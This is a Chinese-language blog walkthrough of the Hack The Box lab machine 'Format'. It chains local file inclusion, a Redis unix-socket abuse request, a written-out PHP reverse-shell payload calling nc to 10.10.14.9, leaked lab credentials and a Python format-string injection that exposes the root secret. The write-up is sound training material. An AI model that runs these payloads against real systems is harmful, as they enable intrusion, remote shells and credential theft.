HTB-Format


HTB-Format

一、思路概要

1.信息收集主页超链接找到源码;

2.源码审计本地文件包含+redis未授权;

3.redis未授权垂直越权;

4.本地文件包含配合源码漏洞写反弹shell;

5.sudo -l发现敏感文件;

6.python格式化字符串漏洞获取root权限。

二、信息收集

端口服务扫描

有一个域名microblog.htb和非常规端口3000

80端口开放,那么直接访问IP发现会自动跳转到http://app.microblog.htb/

那就把两个域名添加进本地hosts文件

echo "10.10.11.213 microblog.htb app.microblog.htb" >> /etc/hosts

访问microblog.htb是404,访问app.microblog.htb如下图

有登录和注册功能点,底部有超链接

点击Contribute here超链接,跳转到如下图界面,是源码

注册个test用户,然后会自动登录,新建一个Blog

新建成功后,点击Edit Site,会自动跳转到http://test.microblog.htb/edit/,所以需要把test.microblog.htb添加进本地hosts文件

echo "10.10.11.213 test.microblog.htb" >> /etc/hosts

添加好后,再次点击Edit Site,会跳转到如下图界面

h1和txt是两个设置选项,可以设置header和txt,抓包可看到POST传参分别是id=c0mdsvzdfum&header=headertestid=jyjs1v121x&txt=txttest

三、LFI(本地文件包含漏洞)

看源码microblog-template\edit\index.php发现id存在本地文件包含(LFI)漏洞,对POST参数没有丝毫过滤

POST传参id=../../../../../../../../../../etc/passwd&header=headertest,如下图实现LFI

再看代码,如果isPro条件为True,即用户身份是Pro,那么我们可以上传文件。于是想办法把用户变成pro权限

四、redis未授权

源码中多处出现$redis->connect('/var/run/redis/redis.sock');

可以用redis未授权,通过redis socket(unix:/var/run/redis/redis.sock),设置test用户的pro为true

https://redis.io/commands/hset/

curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:test%20pro%20true%20a/b"

执行之后,可看到用户已变成pro权限

然后如下命令写反弹shell

id=/var/www/microblog/test/uploads/rev.php&header=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.9+9898+>/tmp/f")%3b%3f>

开启监听

然后访问http://test.microblog.htb/uploads/rev.php

成功获取www-data用户权限

依次执行如下命令,找到信息泄露

redis-cli -s /run/redis/redis.sock
keys *
hgetall cooper.dooper

然后ssh尝试连接,实际用户名密码如下

cooper:zooperdoopercooper

执行sudo -l,查看可以以root身份执行的命令

/usr/bin/license内容如下

#!/usr/bin/python3

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()

if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

#deprovision
if(args.deprovision):
    print("")
    print("License key deprovisioning coming soon")
    print("")
    sys.exit()

#check
if(args.check):
    print("")
    try:
        license_key_decrypted = f.decrypt(args.check.encode())
        print("License key valid! Decrypted value:")
        print("------------------------------------------------------")
        print(license_key_decrypted.decode())
    except:
        print("License key invalid")
    print("")

五、python格式化字符串漏洞

python格式化字符串漏洞

https://podalirius.net/en/articles/python-format-string-vulnerabilities/

连接redis

redis-cli -s /run/redis/redis.sock

然后执行如下命令,以明文形式获取口令

HMSET test first-name "{license.__init__.__globals__[secret_encoded]}" last-name test username test

执行如下命令

sudo /usr/bin/license -p test

口令如下

unCR4ckaBL3Pa$$w0rd

成功获取root权限

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录